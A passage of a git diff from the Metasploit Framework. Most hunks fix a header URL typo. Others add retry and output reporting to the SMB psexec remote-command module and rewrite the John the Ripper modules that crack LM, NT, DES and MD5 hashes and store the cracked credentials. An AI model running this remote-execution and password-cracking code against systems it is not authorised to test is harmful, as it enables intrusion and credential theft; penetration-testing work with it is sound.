the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") + self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") + vprint_status("Checking for file/folder #{datastore['RPATH']}...") + + datastore['RPATH'].each_line do |path| + check_path(path.chomp) + end #end do + rescue ::Rex::HostUnreachable + vprint_error("Host #{rhost} offline.") + rescue ::Rex::Proto::SMB::Exceptions::LoginError + print_error("Host #{rhost} login error.") + rescue ::Rex::ConnectionRefused + print_error "Host #{rhost} unable to connect - connection refused" + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + print_error "Host #{rhost} unable to connect to share #{datastore['SMBSHARE']}" + end # end begin + end # end def end diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 0829179e2f..7557d237e5 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 392fabad12..9a12f2e407 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'SMB File Download Utility', 'Description' => %Q{ - This module deletes a file from a target share and path. The usual reason + This module downloads a file from a target share and path. The usual reason to use this module is to work around limitations in an existing SMB client that may not be able to take advantage of pass-the-hash style authentication. }, diff --git a/modules/auxiliary/admin/smb/list_directory.rb b/modules/auxiliary/admin/smb/list_directory.rb index 7a686dc8db..097cb2d0e0 100644 --- a/modules/auxiliary/admin/smb/list_directory.rb +++ b/modules/auxiliary/admin/smb/list_directory.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index e13a158888..8a0ea4daeb 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -7,7 +7,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -51,15 +50,13 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options([ OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']), + OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 0]), + OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 0]), ], self.class) deregister_options('RHOST') end - def peer - return "#{rhost}:#{rport}" - end - # This is the main controle method def run_host(ip) text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt" @@ -75,9 +72,21 @@ class Metasploit3 < Msf::Auxiliary print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") return end - if execute_command(text, bat) + res = execute_command(text, bat) + + if res + for i in 0..(datastore['RETRY']) + Rex.sleep(datastore['DELAY']) + # if the output file is still locked then the program is still likely running + if (exclusive_access(text)) + break + elsif (i == datastore['RETRY']) + print_error("Command seems to still be executing. Try increasing RETRY and DELAY") + end + end get_output(text) end + cleanup_after(text, bat) disconnect end @@ -108,10 +117,40 @@ class Metasploit3 < Msf::Auxiliary print_status("#{peer} - Command finished with no output") return end - print_good("#{peer} - Command completed successfuly! Output:") - print_line("#{output}") + + # Report output + print_good("#{peer} - Command completed successfuly!") + vprint_status("Output for \"#{datastore['COMMAND']}\":") + vprint_line("#{output}") + + report_note( + :rhost => datastore['RHOSTS'], + :rport => datastore['RPORT'], + :type => "psexec_command", + :name => datastore['COMMAND'], + :data => output + ) + end + #check if our process is done using these files + def exclusive_access(*files) + simple.connect("\\\\#{@ip}\\#{@smbshare}") + files.each do |file| + begin + print_status("checking if the file is unlocked") + fd = smb_open(file, 'rwo') + fd.close + rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror + print_status("#{peer} - Unable to get handle: #{accesserror}") + return false + end + simple.disconnect("\\\\#{@ip}\\#{@smbshare}") + end + return true + end + + # Removes files created during execution. def cleanup_after(*files) simple.connect("\\\\#{@ip}\\#{@smbshare}") diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb index 742aa2a4ef..01a40c53fe 100644 --- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb +++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,10 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Psexec - include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Report # Aliases for common classes @@ -50,12 +47,6 @@ class Metasploit3 < Msf::Auxiliary end - - def peer - return "#{rhost}:#{rport}" - end - - # This is the main control method def run # Initialize some variables diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index 99cf0561fa..968fe1cbc6 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index f829d91801..d8accb7813 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb index b11202c9d3..0ed64478ca 100644 --- a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb +++ b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'vlad902 <vlad902 [at] gmail.com>', # MSF v2 module + 'vlad902 <vlad902[at]gmail.com>', # MSF v2 module 'jduck' # Ported to MSF v3 ], 'License' => MSF_LICENSE, @@ -127,6 +127,8 @@ class Metasploit3 < Msf::Auxiliary # done sunrpc_destroy + rescue Timeout::Error, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Rex::Proto::SunRPC::RPCError => e + print_error(e.to_s) rescue ::Rex::Proto::SunRPC::RPCTimeout print_warning 'Warning: ' + $! print_warning 'Exploit may or may not have succeeded.' diff --git a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb index 0f15365e84..9618c5eed9 100644 --- a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb +++ b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb index 0b55648034..a9bbeb0f13 100644 --- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb +++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vmware/poweroff_vm.rb b/modules/auxiliary/admin/vmware/poweroff_vm.rb index d89ba3f1d3..1608d84fbd 100644 --- a/modules/auxiliary/admin/vmware/poweroff_vm.rb +++ b/modules/auxiliary/admin/vmware/poweroff_vm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vmware/poweron_vm.rb b/modules/auxiliary/admin/vmware/poweron_vm.rb index 194fb14824..a8f260ad3e 100644 --- a/modules/auxiliary/admin/vmware/poweron_vm.rb +++ b/modules/auxiliary/admin/vmware/poweron_vm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vmware/tag_vm.rb b/modules/auxiliary/admin/vmware/tag_vm.rb index d0f0c254a8..8eb33b2f67 100644 --- a/modules/auxiliary/admin/vmware/tag_vm.rb +++ b/modules/auxiliary/admin/vmware/tag_vm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb index b6f6e61a9f..0400471378 100644 --- a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb +++ b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb b/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb index 16ddbb12c7..09bd23daf3 100644 --- a/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb +++ b/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb index 74e148a56c..4b15e11364 100644 --- a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb +++ b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb index 9138927956..e857b9eb34 100644 --- a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb +++ b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb index f9ade4f948..f179f7ef4c 100644 --- a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb +++ b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb index 16abf99a45..106dbfba96 100644 --- a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb +++ b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb index 5fe695a22f..4381c2addd 100644 --- a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb +++ b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -68,8 +68,8 @@ class Metasploit3 < Msf::Auxiliary 'data' => data }, 25) - if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ - session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || '' + if res and res.code == 302 and res.get_cookies =~ /sid/ + session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || '' if session and not session.empty? print_good "#{peer} - Authentication successful" else diff --git a/modules/auxiliary/admin/webmin/file_disclosure.rb b/modules/auxiliary/admin/webmin/file_disclosure.rb index a2e486f89e..dceb166244 100644 --- a/modules/auxiliary/admin/webmin/file_disclosure.rb +++ b/modules/auxiliary/admin/webmin/file_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/zend/java_bridge.rb b/modules/auxiliary/admin/zend/java_bridge.rb index ec7d672d84..f02adcbf4d 100644 --- a/modules/auxiliary/admin/zend/java_bridge.rb +++ b/modules/auxiliary/admin/zend/java_bridge.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index cbe3c02004..3c5cd91269 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -1,10 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -28,67 +29,72 @@ class Metasploit3 < Msf::Auxiliary end def run - wordlist = Rex::Quickfile.new("jtrtmp") - begin - wordlist.write( build_seed().join("\n") + "\n" ) - ensure - wordlist.close - end + cracker = new_john_cracker - myloots = myworkspace.loots.find(:all, :conditions => ['ltype=?', 'aix.hashes']) - return if myloots.nil? or myloots.empty? + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - loot_data = '' - - myloots.each do |myloot| - usf = '' - begin - File.open(myloot.path, "rb") do |f| - usf = f.read - end - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - next + ['des'].each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." end - usf.each_line do |row| - row.gsub!(/\n/, ":#{myloot.host.address}\n") - loot_data << row + cracker_instance.crack do |line| + print_status line.chomp end - end - hashlist = Rex::Quickfile.new("jtrtmp") - hashlist.write(loot_data) - hashlist.close - - print_status("HashList: #{hashlist.path}") - - print_status("Trying Format:des Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') - print_status("Trying Format:des Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'des') - print_status("Trying Format:des Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') - - cracked = john_show_passwords(hashlist.path) - - - print_status("#{cracked[:cracked]} hashes were cracked!") - - cracked[:users].each_pair do |k,v| - if v[0] == "NO PASSWORD" - passwd="" - else - passwd=v[0] + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.rules = nil + cracker_instance.wordlist = nil + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) end - print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") - report_auth_info( - :host => v.last, - :port => 22, - :sname => 'ssh', - :user => k, - :pass => passwd - ) end end + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'des').each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end + end diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb index 0c281b27b3..e1137d8945 100644 --- a/modules/auxiliary/analyze/jtr_crack_fast.rb +++ b/modules/auxiliary/analyze/jtr_crack_fast.rb @@ -1,10 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -27,132 +28,107 @@ class Metasploit3 < Msf::Auxiliary end def run - wordlist = Rex::Quickfile.new("jtrtmp") - hashlist = Rex::Quickfile.new("jtrtmp") + cracker = new_john_cracker - begin - # Seed the wordlist with usernames, passwords, and hostnames - seed = [] + # generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - myworkspace.hosts.find(:all).each {|o| seed << john_expand_word( o.name ) if o.name } - myworkspace.creds.each do |o| - seed << john_expand_word( o.user ) if o.user - seed << john_expand_word( o.pass ) if (o.pass and o.ptype !~ /hash/) + ['lm','nt'].each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end + cracker_instance.crack do |line| + print_status line.chomp end - # Grab any known passwords out of the john.pot file - john_cracked_passwords.values {|v| seed << v } - - # Write the seed file - wordlist.write( seed.flatten.uniq.join("\n") + "\n" ) - - print_status("Seeded the password database with #{seed.length} words...") - - # Append the standard JtR wordlist as well - ::File.open(john_wordlist_path, "rb") do |fd| - wordlist.write fd.read(fd.stat.size) + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp end - # Close the wordlist to prevent sharing violations (windows) - wordlist.close - - # Create a PWDUMP style input file for SMB Hashes - smb_hashes = myworkspace.creds.select{|x| x.ptype == "smb_hash" } - smb_hashes.each do |cred| - hashlist.write( "cred_#{cred[:id]}:#{cred[:id]}:#{cred[:pass]}:::\n" ) - end - hashlist.close - - if smb_hashes.length > 0 - cracked_ntlm = {} - cracked_lm = {} - added = [] - - john_crack(hashlist.path, :wordlist => datastore['Wordlist'], :format => 'lm') - john_crack(hashlist.path, :wordlist => datastore['Wordlist'], :format => 'nt') - - # Crack this in LANMAN format using wordlist mode with tweaked rules - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'lm') - - # Crack this in LANMAN format using various incremntal modes - john_crack(hashlist.path, :incremental => "All4", :format => 'lm') - john_crack(hashlist.path, :incremental => "Digits5", :format => 'lm') - - # Parse cracked passwords and permute LANMAN->NTLM as needed - cracked = john_show_passwords(hashlist.path, 'lm') - cracked[:users].each_pair do |k,v| - next if v == "" - next if (v[0,7] == "???????" or v[7,7] == "???????") - next if not k =~ /^cred_(\d+)/m - cid = $1.to_i - - cracked_lm[k] = v - - cred_find = smb_hashes.select{|x| x[:id] == cid} - next if cred_find.length == 0 - - cred = cred_find.first - ntlm = cred.pass.split(":", 2).last - done = john_lm_upper_to_ntlm(v, ntlm) - cracked_ntlm[k] = done if done - end - - # Append any cracked values to the wordlist - tfd = ::File.open(wordlist.path, "ab") - cracked_lm.values.each {|w| if not added.include?(w); tfd.write( w + "\n" ); added << w; end } - cracked_ntlm.values.each {|w| if not added.include?(w); tfd.write( w + "\n" ); added << w; end } - tfd.close - - # Crack this in NTLM format - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'nt') - - # Crack this in NTLM format using various incremntal modes - john_crack(hashlist.path, :incremental => "All4", :format => 'nt') - john_crack(hashlist.path, :incremental => "Digits5", :format => 'nt') - - # Parse cracked passwords - cracked = john_show_passwords(hashlist.path, 'nt') - cracked[:users].each_pair do |k,v| - next if cracked_ntlm[k] - cracked_ntlm[k] = v - end - - # Append any cracked values to the wordlist - tfd = ::File.open(wordlist.path, "ab") - cracked_ntlm.values.each {|w| if not added.include?(w); tfd.write( w + "\n" ); added << w; end } - tfd.close - - # Store the cracked results based on user_id => cred.id - cracked_ntlm.each_pair do |k,v| - next if not k =~ /^cred_(\d+)/m - cid = $1.to_i - - cred_find = smb_hashes.select{|x| x[:id] == cid} - next if cred_find.length == 0 - cred = cred_find.first - next if cred.user.to_s.strip.length == 0 - - print_good("Cracked: #{cred.user}:#{v} (#{cred.service.host.address}:#{cred.service.port})") - report_auth_info( - :host => cred.service.host, - :service => cred.service, - :user => cred.user, - :pass => v, - :type => "password", - :source_id => cred[:id], - :source_type => 'cracked' - ) + if format == 'lm' + print_status "Cracking #{format} hashes in incremental mode (All4)..." + cracker_instance.rules = nil + cracker_instance.wordlist = nil + cracker_instance.incremental = 'All4' + cracker_instance.crack do |line| + print_status line.chomp end end - # XXX: Enter other hash types here (shadow, etc) + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.rules = nil + cracker_instance.wordlist = nil + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end - rescue ::Timeout::Error - ensure - wordlist.close rescue nil - hashlist.close rescue nil - ::File.unlink(wordlist.path) rescue nil - ::File.unlink(hashlist.path) rescue nil + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=7 + username = fields.shift + core_id = fields.pop + + # pop off dead space here + 2.times{ fields.pop } + + # get the NT and LM hashes + nt_hash = fields.pop + lm_hash = fields.pop + password = fields.join(':') + + if format == 'lm' + if password.blank? + if nt_hash == Metasploit::Credential::NTLMHash::BLANK_NT_HASH + password = '' + else + next + end + end + password = john_lm_upper_to_ntlm(password, nt_hash) + # password can be nil if the hash is broken (i.e., the NT and + # LM sides don't actually match) or if john was only able to + # crack one half of the LM hash. In the latter case, we'll + # have a line like: + # username:???????WORD:...:...::: + next if password.nil? + end + + print_good "#{username}:#{password}:#{core_id}" + create_cracked_credential( username: username, password: password, core_id: core_id) + end end end + + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NTLMHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id } ).each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{id}:#{hash_string}:::#{id}" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end end diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index 48f3c23837..5f241a70c6 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -1,10 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -36,91 +37,67 @@ class Metasploit3 < Msf::Auxiliary end def run - wordlist = Rex::Quickfile.new("jtrtmp") - - begin - wordlist.write( build_seed().join("\n") + "\n" ) - ensure - wordlist.close - end - - myloots = myworkspace.loots.where('ltype=?', 'linux.hashes') - return if myloots.nil? or myloots.empty? - - loot_data = '' - - myloots.each do |myloot| - usf = '' - begin - File.open(myloot.path, "rb") do |f| - usf = f.read - end - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - end - usf.each_line do |row| - row.gsub!(/\n/, ":#{myloot.host.address}\n") - loot_data << row - end - end - - hashlist = Rex::Quickfile.new("jtrtmp") - hashlist.write(loot_data) - hashlist.close - - print_status("HashList: #{hashlist.path}") - - print_status("Trying Format:md5 Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'md5') - print_status("Trying Format:md5 Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'md5') - print_status("Trying Format:md5 Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'md5') - - - print_status("Trying Format:des Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') - print_status("Trying Format:des Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'des') - print_status("Trying Format:des Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') - - print_status("Trying Format:bsdi Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'bsdi') - print_status("Trying Format:bsdi Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'bsdi') - print_status("Trying Format:bsdi Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'bsdi') + formats = [ 'md5', 'des', 'bsdi'] if datastore['Crypt'] - print_status("Trying Format:crypt Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'crypt') - print_status("Trying Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'crypt') - print_status("Trying Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'crypt') + format << 'crypt' end + cracker = new_john_cracker - cracked = john_show_passwords(hashlist.path) + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - - print_status("#{cracked[:cracked]} hashes were cracked!") - - cracked[:users].each_pair do |k,v| - if v[0] == "NO PASSWORD" - passwd="" - else - passwd=v[0] + formats.each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=7 + username = fields.shift + core_id = fields.pop + 4.times { fields.pop } + password = fields.join('') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) end - print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") - report_auth_info( - :host => v.last, - :port => 22, - :sname => 'ssh', - :user => k, - :pass => passwd - ) end end + + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'md5,des,bsdi,crypt').each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:::::#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to 